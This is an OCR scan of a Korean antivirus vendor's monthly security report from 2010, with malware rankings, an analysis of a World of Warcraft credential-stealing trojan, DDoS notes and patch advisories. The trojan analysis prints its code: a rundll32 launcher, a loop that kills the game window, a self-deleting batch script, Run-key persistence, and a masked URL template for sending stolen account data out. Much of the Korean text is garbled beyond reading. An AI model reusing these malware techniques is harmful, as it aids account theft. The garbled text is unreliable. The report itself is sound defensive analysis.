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(1) ZY 24 -d3LE Top 15
2010 7& 19 ~ 20104 7& 31¢]
29| otdaE FcHy she m 2] 2

AExE
1 = V.DWN.Agent.Pinsearch Trojan 73,689
2 11 S.SPY.Lineag-GLG Spyware 52,483
3 New V.DWN.Agent.serv Trojan 46,383
4 New V.TRJ. AutoRun Trojan 44,634
5 13 V.ADV.Admoke Adware 43,123
6 13 S.SPY.OnlineGames.kb Spyware 34,854
7 New Trojan.Generic.4378689 Trojan 25,229
8 12 V.WOM.Conficker Worm 21,941
9 New V.TRJ.Agent.1588224 Trojan 18,831
10 14 V.DWN.VB.paran Trojan 18,198
11 12 V.DWN.el.39xxxx Trojan 17,994
12 New Trojan.Generic.4371269 Trojan 17,751
13 New Backdoor.Generic.4153251 Backdoor 16,110
14 - Trojan.Generic.4153251 Trojan 15,917
15 New A.SCT.setlink Adware 15,831

X AH =T, ADE AFBRS| ZESAHE A5 =t =91 Y

a4 A4HdIE Top 15= ALEX PCOIAM EX|E AHIAEES 7|Hte2 LHESH A 0|CH
ot dAE TOP 15 V.DWN.Agent.PinsearchO| 73,6892 2 TOP 15 & 12|€ %t
S.SPY.Lineag-GLG7} 52483712 2 29|, V.DWN.AgentservZ} 46383712 2 32|
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o = 2| 0f(Adware)

B 5}0| X§ 7 (Hijacker)

B 2l (Worm)

B |2k (Exploit)

E Hio|2{A (Virus)

B ui o 0f(Backdoor)

GHIAE RAEY HE2 EZ0| FOK(Trojan)7t 60%=Z 7t 2 H|ES AHX|5H4,
O =21 0{(Adware)7t 13%, AL}O0|0{(Spyware)7t 19%°| H|&2 2tZt XtX|stn ULt
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Part I 79| A3 EH

2. 4HAE O|lff BN - "Iy ZHoE AY AYE EXlE S.SPY.Wow.abc”
2 222 Aol 2ot X7t tHFEBM EF Z2HAE ED5H7| Qo AYEe
SRHE ZYSt= AME7F BORLCEL &8 2 = AY Z=2M2 HR2EE S AE
YEE x5t LO| oA = ULt
J2At AY Ao XHE +=HiM 2= IAHLES R2ste AHIET SEGHY|
LS
S.SPY.Wow.abc = Dropper & H4AEZE 2[AA0AM DLLZ Drop st A& F0l 2t2(wow)
AY Z2O™S Aot ZEA[ZICE A2 bat Y-S O[S AH7| RHilES AFK|SHCH
Drop & DLL 2 2t2(wow) A& Ml MAQ wowexe & HHAZ|L AE TEE HFHA
Ed MO|EZ T&otrt

1) Dropper

Dropper= DLL It2E Dropsts| A&lST X}7| XpAES ALK B

e DLL Drop

[%SYSTEM%W#mslagcpt.dll] Tt 0| UY=X| &olstn QoM mUo| 2[AA FHON A3}

El DLL ot 2 253} s o2 DropPtCt.
o

%
T = CreateProcessA()E Al23510| DLL o w() a4+E Al

02
rot
n

CreateProcessA(0, "Rundll32.exe %SYSTEM%Wmslagcpt.dil,w", ...);

DIl mto] w() e dil 24 2E20|A XtMS| LOot=LCt.
J2|3 “GxWindowClassD3d"2Hs Z2jAZ %0 WM_CLOSE MA|X|Z HLHAM s
D2 hAS E2A|ZICH

ClassHame = 'G°; S UGxWindowCGlassD3d™
u3z2 -
vwild
viy
uis
[TE]]
u37
v3g
vig
vhi
uli
uh2
uh3
iy
ULt
uhs
do
<

[T FindWindowA{&ClassHame, @);

ul u3;

ifF ( v3 )

PostMessageA{vi, B8x18u, 8, A); ff Bx18 - WM _CLOSE

Sleep(Bx1F4u};
H
while { vi });

<&l : GxWindowClassD3d Z2|AE AOlA SE HA|IXE B>

=R — A LT - TR I — - — I L
ME MW M M MR ME W WE M MR M oW oW W

I soft g o|x| | 5



“GxWindowClassD3d"&= 2t (wow)H Al A2t SefA & SHLtCh

dB 2 t2(wow)?t AMF0|H WM_CLOSE HAIX|E ELHA F=A|ZICH

Ol= 2tP(wow)E LCHA| 2-AIZ|7] 0|2 CiAl 2dst7| Hof| AZS 20t gA ZEF/ot
71 et AFH A YOICt XtMSH LHE2 DLL &4 F&0|A CHECL

o =
@echo off
itry
@Del [EtZ]
@if exist [E}Zll] goto try
@Del %0
[EtA]IS MMt X R=X| =2elotct. Brof XXX HUCIHH FZE SHAM A%

2) DLL
DLLE 3A 374e| g2 L& &= UL YX|AEZ| &5, wowexe It ZHE, AE &3
HXIAEZ] SE2 Run0| SE35t0] DLLO| M@l A|OICH XS 2 MA:SIE=E 11, wow.exe

oS dHAAM 2 Al o9 DLLE 2E St=F oiC.
OXgez Z2 M0 HFEe oy DLL2 HE2|oM AE S=2E =85t EF MOIE
2 Hulich

- YX|AEE| S&
Windows 70| HKEY_CURRENT_USER, Windows 70| OfL| @ HKEY_LOCAL_MACHINEQ]|

SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run0j| C}Z2| Z+Z /43510 FE A
OfCH DLLO| M¥e|= 2 siCt.

Jswqvj;%SYSTEM%Wmslagcpt.dil,w

= E&H(Droppen?t dils E&(Drop)stHAl 7ty HA ZAldt= g=0IL}.
= dGAIZI17] flof Chael HXAER] e 7HMetM EXE C-MEZS
A=

=

FF
o

HLM \ SOFTWARE \ Blizzard Entertainment \ World of Warcraft \ GamePath

Wow.exe0| O[0] ZHE|QE=X MM 8T 0|22 blmsn Kzt
MM S5 5 “ngaut’ M0 Q0D Y £|QICknm BEHLD DioF QoD AL
MM =710 3,_F IMAGE_NT_HEADERSE =3} 1 .ngaut MM ¢|HE F7}SHL

2
Jd2|a MM e Mol orel Z0| MM HO|EHE FI7tstl X2 Z entry-pointE HASIC

—
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First File - D:\world of Warcraft\wow.exe - 3=

OFFSET 0o 01 02 03 04 05 06 07 08 0% 0& OB OC OD OE OF

goooo1io 50 45 00 00 4C 01 06 00 FE 52 24 4C 00 00 00 00 PE. . L.. . BRSL....
goooolzo 00 0O OO0 OO0 E0 OO 02 01 OB 01 08 00 00 D4 SD OO ... &........ 0].
0oooo130 00 A4 17 00 00 OO OO OO 0O 10 00 00 00 10 00 00 & . ... . ........
gooooi4o 00 FO 5D 00 00 OO 40 00 00O 10 00 00 00 02 00 0O .&)...@ .. .. ....
goooolso 04 00 00 OO OO OO OO OO 05 00 OO0 OO0 OO0 00 00 00 ...............
goooole0 00 DO SF 00 0O O4 00 00 96 26 76 00 02 OO0 OO0 81 .BOR..... | 5 |

annnna9n NP 4 NN NN 40 NN nn M NN 40 nn NN 40 0N nn

ad

Second File - D:\World of Warcraft\Wow_ exe - B 5

OFFSET 00 01 02 03 04 05 Oe 07 08 09 0& OB OC OD OE OF

goooolio 50 45 00 00 4C 01 07 00 FE 52 24 4C 00 00 00 00 PE. . L.. BRSL....
goooolz2o0 00 0O OO0 OO E0 OO O3 01 OB 01 08 00 00 E4 5D 0O ... . &........ al.
goooolz20 00 A4 17 00 0O OO OO OO0 0O DO SF 00 00 10 00 0o @ = . ... .. Br.....
gooool4o 00 FO 5D 00 00 OO 40 00 00 10 00 00 00 02 00 0O .&]...@. ........
goooolso 04 00 00 00 00 OO0 00 00 05 00 00 00 00 00 00 00 ... ... ........
goooo0led 0O EO 9F 00 00 04 00 00 96 26 76 00 02 00 OO0 81 .an..... | 5 |

AAAAAd A AA A de AA mA Am AA A AR AR AR AA mA AA me AA .~

<13 : HZAE IMAGE_NT_HEADERS>

First File - D:\World of Warcraft\wWow exe - #2

OFFSET 00 01 02 03 04 05 06 07 08 09 0A OB 0OC 0D OE OF

gogoo2co o0 00 00 00 00 00 OO0 00 OO0 00 OO0 00 40 00 00 <0 ... ..... ... @ A
goooozpo | 2E Y2 73 72 62 00 00 00 Do 94 02 00 00 30 9D 00 .rsrc...BQ...0O0.
ooooo2ED | 00 9C 02 00 00 EO 72 00 0O 0O OO 0O 0O 0O 00 00 @ .0...&r.........
DODODZFD | 00 00 00 00 40 00 00 40 Of 00 00 0O OO0 0O 00 OO0 | ... .@. .@ .. .. .. .
goooozoo | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ ................
00000310 | o0 00 00 00 00 00 OO0 00 OO0 00 00 00 00 00 00 00 ... ..... .. .....

annnnaan N NN AN NN N0 nn NN nn NN NN NN NN an 0N N nan

8
Second File - D:\world of Warcraft\wow._exe - Bl £

OFFSET 00 01 02 03 04 05 06 07 08 09 0A& OB 0OC OD QE OF

goooo2co | 00 00 00 00 0O 00 00 00 OO0 00 00 00 40 00 0O CO 0 ... ........ @ A
gooooz2po | 2E 72 73 72 63 00 00 00 Do 94 02 00 00 30 9D 00 | .r=src...BQ...00.
oooooz2ED 00 9C 02 00 00 EO 72 00 OO 0O OO 0O 0O 00 00 00 .0...4r.........

0oooo02Fo | 00 00 00 00 40 00 00 40 2E 6E &7 61 75 74 00 00 ... .@. @ ngaut..
gooooz0o 00 10 00 00 00 DO SF 00 OO0 10 00 00 00 7C %5 00 ... .. Br.... .. [ua.
goooozlo 00 00 00 00 0O 00 OO0 00 OO0 00 00 00 20 00 0O EOD ... ........ .2

AEm A AT AM AR AR AE AR EA An Am AE AR AR AA AR AE AA A

<13 : b “.ngaut” MM Sc>

push @

push ‘cusm'

push esp

call dword ptr [ebp+44h] ; LoadLibraryf
mouw edx, eax

cmp edx, @

jz short loc_DFDA%96

push a8

push uw'

push esp

push eax

call dword ptr [ebp+48h] ; GetProcAddress
call eax s ow()

A

gl : HAE entry-pointe] ZE>

o>

tolEl BES msvar70S RESHD wit4E AOpA A#sls AS Bt
msvcr702 DLL Dol 2ArE0|LC}

Ofof AR Hot SRMOR B FORHE ZAA0| DLLS QM| offg)

=T=nfi _
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—

A EFot7| fI8ll thael =ds UEAF|=X| HAetT,.

1) DLLO| 2EEl m2 M AO| ALl 0|20| “wow.e"2 A|XHSIC},
2) T2 M|AQ| EtO|E O|E0]| "World of Warcraft” O|L}.
3) "GxWindowClassD3d"2t= ZejA7F Z=X|siCt.

40| BHEE(D dio] 2HE 20| 2wow) ZRHARE U2 HAGT A
Horg s

—

o

x
ErEe= [9}2 ClHEZ|WWTF#Configwtf Z2 EXN oL ZZ M2 HE2E|Q|
omMol NIE 32 JIHeL Ao s

|

S=2E Chgt 20| P&

o

http://xx000000exx.com:888/xxx/wow.asp? WOWID =****& Area=****&WU =**** QWP
=**REQ M AX = *¥** [*¥xx 8 Gold =****&Serv=****&rn =****&key= *kkk

5 28
Xaxel A8E E3ote AEdAE=s Z2M2 HEZ|of HFSIAL HERIR TEE=
oS o AE SEE = SAOI/UACE
SHA|ZH O] ofdIREE HAMAS HEAAHAM A0 o8 DLLS load)st7| W= 0f
QF ZzZMAZRHO HEE Ye B3 £RU82 FEX|=0| ECh
of ZME 7| fldhM= 2 Tof FZd(integrity)S HAHOF oHCt.
a2 efR(wow) 7A YHOUAME AY =T YAl 220 == Z27t AUCHH
2E oS ot Hils XMz HHO|ESID ALY HAE +Adt= A0 FL.
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3. 5|LT/ER|E &M
(1) 8¢ Top10 =E
|
3%
1433
W 3389
¥ 3306
=80
u 2967
135 TCP " 8080
93% “110
4899

780ls XEHoE AR AMQl FAHEES o=z o 135 TCP ZE HY A7t 7+
TLOCE 135 TCP = EQ| st & AA| == RPC(Remote Procedure Call) I @H{ 20| 7t5&t
2ot FoHE F2 0|8
FAEES 0|8t 340| 43¢ 4% PCO| AEIEES ZABAZE = UCh
(2) 4%l Top5 ZE EHEH F0
[20104 5& ~ 20104 7]
135
m21
H1433
H 25
3306
2010-05 2010-06 2010-07
HHHELZ opd EfE 70| MO HIsH S7t5tRA 0 1358 0|QJe| ZESE oY Exy
L} IPSO| A K}

H %900 344190 G0l 1358 ZE2 W0l LELY B2 BaHo
|
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At 2ol B3 ofd Ecfm {0 CHA| SIHSHAL

—_

Z & SEO(Search Engine Optimization, ZAH ATl X|HM3hE A4St AMHACSI 22X 7t
Z|1 QIC} O|ZH & Black-hat SEOZ} =2|OH, AMAUZR XNFE k2810 iframeSS AFQst
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8l AlYac QLof Y7+ HIQIEE KM §

YUY E7 UYL YIS HE U AWHU0| AU AN KHXSHs HSS LIEHHE
ejzo|ct.
79T AW OYS 985% HIO|BA H AL 15%S KK|SHRACH 60| BB AT o] 1.5%

o
=
S 71, HO|2HA 00| 1.1% HE2 ZASHRALE

(3) 2T Y o AYIE WY

(20104 74 1Y ~ 20104 7& 31¢]

=4 ofdaE TTHE H| & 4~ [7H] H| Z[%]
1 W32/Virut-T 11,993 45.78%
2 Mal/ZipMal-B 4,037 15.41%
3 W32/MyDoom-H 3,287 12.55%
4 W32/Mytob-C 1,205 4.60%
5 Troj/CryptBx-ZP 685 2.61%
6 Troj/JSRedir-BV 666 2.54%
7 W32/MyDoom-Gen 555 2.12%
8 Mal/BredoZp-B 501 1.91%
9 VPS-090709-DDoS-2 459 1.75%
10 W32/Sality-I 454 1.73%

A MY el HEIE dE2 63 HO[ZHA UM ZHE AHIE F Top 102 &2

J2§=Oo|Ch SR W32/Virut-TO| 45.78%2 A= 19|12 XX|st1 QUCH.
°|i 1541%2 X}X|8t Mal/ZipMal-B, 39|= 12.55%Z *}X|3t W32/MyDoom-HO|LC}.
3|, 7.7 DDoS trem 0|n1|°'0| orIIE k74 Eli 7oz HO} SixjE AMIACI} X2 EX|

o
(Gl =2 JEUF “XIEIXI x2 PCOiIHE *IﬁEél llH—'|7f T =X @=Ch)
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/

2
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Part II 7819| O] EE7|
1. 7€l9| O O|+4
780|= O/FO0|E 0|8% AEYIE RZE AMHE NS2=2 L7 At QL O|AE
O 'ASM 20" =A|, E Dol ChA| Z0H= 7.7 DDoSOf| CHt EQt O|f=0| URS
. O|SEI0E 0|88 AMIL QE AlY HSOZ ¥
Y% Oo|E mz Fst 2

o

g DLL T+O| HHOM ME[A £ Qs OGO

— o
ot sfielo] EQIH(TwitteNE &3l F7F AFIEE LI22E A o MEHE HNs2=

LHSI RS LICE

AR 28 HERJZ MHIAGSNS)E &3 SHdIE FE= FE 6129 EQH
(Twitter)L} I|O| A= (Facebook) 52 T2 E O|FOIF 2Lt JLf AFEXIZF CHCHEE Xt
X|gte O/FCO0IE Soff AMHAEE FES AtHZEE O|HO| MLt

5| O|¥o| FEE AMHIACE & EH| PCE ot %01 43—% r°| =34 4

= o [
= 7Ite|y, dYIEE LIR2

Be E]""' u =
= N ast tweet!!! n
28 e o W o ww - S
25 iy -
<O £0|0|(m2day)et EP|E{(twitter)E S8 F2E|l& APIAE CIREE F2
¢« O|]AEAILE O|5A8 ZSYADNESEM 'ASM 2.0' EA|
2|54 SFOME AEY = As g Y 2| &R ASM(ALYac Security

N
Manager) 2.0 Linux EditionO| 7& 14€0] Al §A|E|91*LI Ct.
ASM 2.0 Linux Edition2 22|Xt7F 7| LHO|
ot Bal 9 XpARE|, Hot WM Mg
Bal =ML
gl=4 AFE2z OS & DB FOiet EFE.JEJ 7t HIE 80| ASM 208 x5t
o AE=R0M X|@El= ASM =8 7|58 Az MY £ UFLCh
0| 2|0l = ASM 2.0 Linux EditionOf| *I 15=l SHEQ0{(HP DL320 G6 MH)E F7IE

FOfstA 2 USLICH (FYRO| : HIMEY 02-2051-0033, 23IX|E|3 02-562-7009)

e "

ASM ZOTHAEE ASM 20 AHER} 2
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AlYac

1 3¢ AHEAL PCO| ¥
AHzol RES YA

fEoh HOMmMAMH Y

et LextE HEe XboH)
L RE DpYo| sl Y A
ofst oto|Hol XS AlE
(FYHE 20| : 0]2AEAT

- 14 Thoj| CHA| SO0F2 7.7 DDoS

20094 Fotth % HEIIT F87IF, AEY TY S2 4O 3 DDoS BH0|
Mo YW 3 CHA st LC
Chs] ZA=C DDoS 34 #@s @W HQUW, DDos the HZAE o= H opa

of 2 mWdll= TYSHA| ERUSLICH
SHA|2F FH| PC JEOIA O3] X|=E[X| 3 A&l PCS0| DDoS 543 A3
Ol ¥X|& FH| PCEO| CHet HAF & X277t A3 2752 ASHCH

Main Dropper
msiexec.exe (300KB 1)
(V. TRJ DDoS Agent 33841)

1

DDoS &

(v TRJ DI

uregvs.nls

2 Victim 2|2AE

-—
DoS Agent nls)

&

»  WinPcap File (&% Tg)

u

(\.‘!_‘, wppcap.dll, pakcet.dll, wanpacket.dll, npf.dll,

(@

= rhe P 2lAE(YEsh
pxdrv.nls
(V.TRJ.DDeS Agent.nls)

]

wmiconf dil
(V.TRJ DDoS Agent 67072)

x7} oA M DDos 7l 37 +H
wmcfg exe

(V. TRJ DDoS Agent 33841

= npptools.dil

# pxdrv.nls= 573 PO H5A1002t 44

8 ET,
A s

uregvs.nls 484 43¢
msiexec.exe (30KB | )
(V TRJ DDoS Agent 33841)

F

) AHHY s ol mstimer.dll 28| o5t

&9 flash.gifel Che 20 - (5IE T2 ZHHE )

6 mstimer.dll 1y wversion.exe ®
) (v TRJ.DDoS Agent 67072) (V.TRJ.DDoS. Agent.33841)

®
—_—

93

Victim Server
DDos 37

@

& rar A=
A Daofele

flash.gif0] wversion 484
flash.gif
(V.DRP Agent MotiD)

(=

@ l wversion.exe SHH ©f 4844 —_—
(V.DRP.Agent.MotiD) >
- _
obz mpel aia gl mpel —
. B iRfYEaE @ 20094 72 10% 0Al
=& wversion.exe sCC|A3 MBR oy
(V. TRJ_Ransom MatiD) @ -

OFAd

“Memory of the Independence...” ]
S3 9

<7.7 DDoS 272 E DU E9| BAHE>

J

=15 B9

22 43 3y

Tkl 4 3PF (Dropper)
3He|AE FHeh
rezc

et AGIojE

Zo|x| | 14



ani FYTT.
aaad F F - HOFSER®E T 14

Part II 7€9| Ol EH7|
(=)
2. 782 Hokd ol%

« Microsoft 78 &7| H¢QF QG0|E

HOot HH0|EE YHSIFSLICH
S0 HZE0] AT £ g9l X|YME %A (MS10-042, CVE-2010-1885)
K| 7} TSHE|0] Qo OZ HEEA| MX|SHA|7| HFRLCE.

<8t HE>

Microsoft Windows XP Servie Pack 2~3 (x64 =) : MS10-042
Microsoft Windows 2003 Service Pack 2 (x64, Itanium Zg) : MS10-042
Microsoft Windows 7 (32bit, x64) : MS10-042, MS10-043

Microsoft Windows 2008 R2 x64, Itanium : MS10-042, MS10-043
Microsoft Office XP Service Pack 3 : MS10-044, MS10-045

Microsoft Office 2003 Service Pack 3 : MS10-044, MS10-045

Microsoft Office 2007 Service Pack 1~2 : MS10-044, MS10-045

<Hoy 28>

E2% U X|g HEO| HYHOR oI Y AS M BHFH (2229593)
Canonical Display DriverQ| FfHoZ Olst 214 AL AW EX|H™ (2032276)
Microsoft Office Access ActiveX ZAEEQ| FUROZ Qs A IE Al (982335)
Microsoft Office Outlook?| F|fHo =z Qlst &1Hd FE A XA (978212)

<8 ZH>
Windows UpdateE £=38}7L} Microsoft 29t ZX| Q9 AIO|EO|A ST FAHEEC
HEHQ x| oteds C2RE 2 + ASLICH

. http://www.microsoft.com/korea/technet/security/Bulletin/ms10-jul.mspx

=71
=
& : http://www.microsoft.com/technet/security/Bulletin/ms10-jul.mspx

78 Oracle Critical Patch Update 311
Oracle Ate] ME& L2 Ciof B WX[E FO 73 1320 ZHSIYSLICH
TUHOME= 222 MEa OIS MES2 MEXNZE Ui Eebz =2 §

o 7|2 g FEES EESY| Qs F Y WA E ALt
<y MEZ>

Oracle MEE g2z oHSun MF2tQl Ze) 59712 Eot IiX|E L ESIYS LT

6 for Oracle Database Server

[sof Fo|x| | 15



2 for TimesTen In-Memory Database

5 for Oracle Secure Backup

7 for Oracle Fusion Middleware

1 for Oracle Enterprise Manager

7 for Oracle E-Business Suite

2 for Oracle Supply Chain Products Suite

8 for Oracle PeopleSoft and JDEdwards Suite

21 for Oracle Sun Products Suite
<HUH 22>
Mg FeFd Matrix 8 §E=
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html
= AZRSIA7| BRI CE

LR

"Oracle Critical Patch Update — July 2010" 2AE& X X3l HE SSA L SXE$
gHetel Hol/dE = HAHES gLt

(DB 2 WAS 5 F2 HeAAH0 8o 0|8 + 918

http://www.oracle.com/technology/deploy/security/critical-patchupdates/cpujul2010.html

ERo =3 3 X|HME H=2Oo| etk FHpH
=29 H(Shell)ojAf TH OFO|2(LNK; Shortcut) THY S X2|she 10| 27 FE=7t
dHE 5 U FAHO| ZARASLICL

Asia X|Q(Q1E 3 QIEH[AOF O3 5)2 FACZ SuWsn Yo, ZUUME

<YHHE>
si747b RXIH OtoIXQl B OfO|2(NK) YOI SH ZRIUS MUAZ & AUt
#|oFR0| EXfoHD| USB 0|54 CIAR(USE H22))0) o4 INKS Eof YRS |

g & As ts80| =gLth

<lZA> - (8F 3Y B HOt WX wE 27
MicrosoftOfl M LNK 2™ (CVE-2568)0f CHeH & X
OfZo] AFOIEO| SO{7h BT =P MO B HOIAIS Ljeiwe 3 XL
S0t XIS HK|S BolE YA ZXYES MK YOI FLICH

. http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx

02 ot oh
MO mp 1z

. http://www.microsoft.com/korea/technet/security/bulletin/MS10-046.mspx
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.f':! f.lf;-:.;- Qo 87 HOMESE H 10 gRE

Apple iTunes 9.2.1 2GO|E A1

PCO| AX|=l iTunesOAl EOF FAM(CVE-2010-1777)2 Sl FHIALE Al o
DoS(Denial-of-Service) MEfE Lo Z =~ QULEL|CE

0|0f Oi=(Apple) AtOA] OFO|ZE=(iTunes)2| CVE-2010-1777 FAH™Z sl dst= O
O|EE YHSIASLIC

<sfd HZF>

Apple iTunes 9.2.1 0|5}

<HMEE>
itpc URLS| HZEl H2|2 QI8 HIH QHZ =2 (Buffer Overflow)7} UMstA E|H 0|2
E3 iTunes7t HIEAMXOZ ZZ2E|AHL} 2l ZEE AMsish 4= 9l0] PCO| 4MIAET}

Zeg + Ysc

<ol 2>

Apple iTunesE 9.2.1 HF S Z YHO|E ThL|Ct

MEZ HA _1 iTunes(9.2 1)E(2) MER = USLICEL AS 2
N 2CARIELIY
CICHA 27 22D
[ TTunesTHEEC ] [ CIEEC ¢ |
I2E HEE 27w HAEEQ st D@ ATIE
. |Tunes SEX 2
@ @ B Tunes SERIZ(L '
= IR E EE3(K)
Gl=ts
P iPod ESZH0)
o= iPhone TS2(E)
d =2 iPad TSP
v =2 I Apple TV EZZHY)
"i‘\Podcast
@eszzn Apple MHIA 2 RIRIL)
00 il 2 iTunes I| =W HI*—(F)
STORE S
[ Tunes Store pl= k4]
v 2H| iTunes BE(4)
[] 2 ZE2Phone = O
CES
Hzze

<@ EHO|X|>
http://support.apple.com/kb/HT4263
http://www.us-cert.gov/current/index.html#apple_releases_itunes_9 21

n
|'_]_
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Contact us...

GO|AEAZE Qrobu oty
Tel : 02-881-2364
E-mail : help@alyac.co.kr

olo

UOFAO|E : www.alyac.co.kr

aofo] =2l= AlEEt S

2010 6237} xI2! Event

6 H Al AZ3tPCE 22 0| XFi=RILIcE 99
L OKS =1 A[2E 6ER7IE E7 MR

el | 7|EE Lok UEX SEEQI, Uk AfH, ASM 1002+ o Fof 12
712t 1 2010878 192~ 8% 20
Lig | FolSol e FRY4EH X2

> FiEY o HZ s
o= & =4
1002+ ~ 2000H o|t Uty FRAEd
2002+ ~ 3008t o2t 102t FRaE
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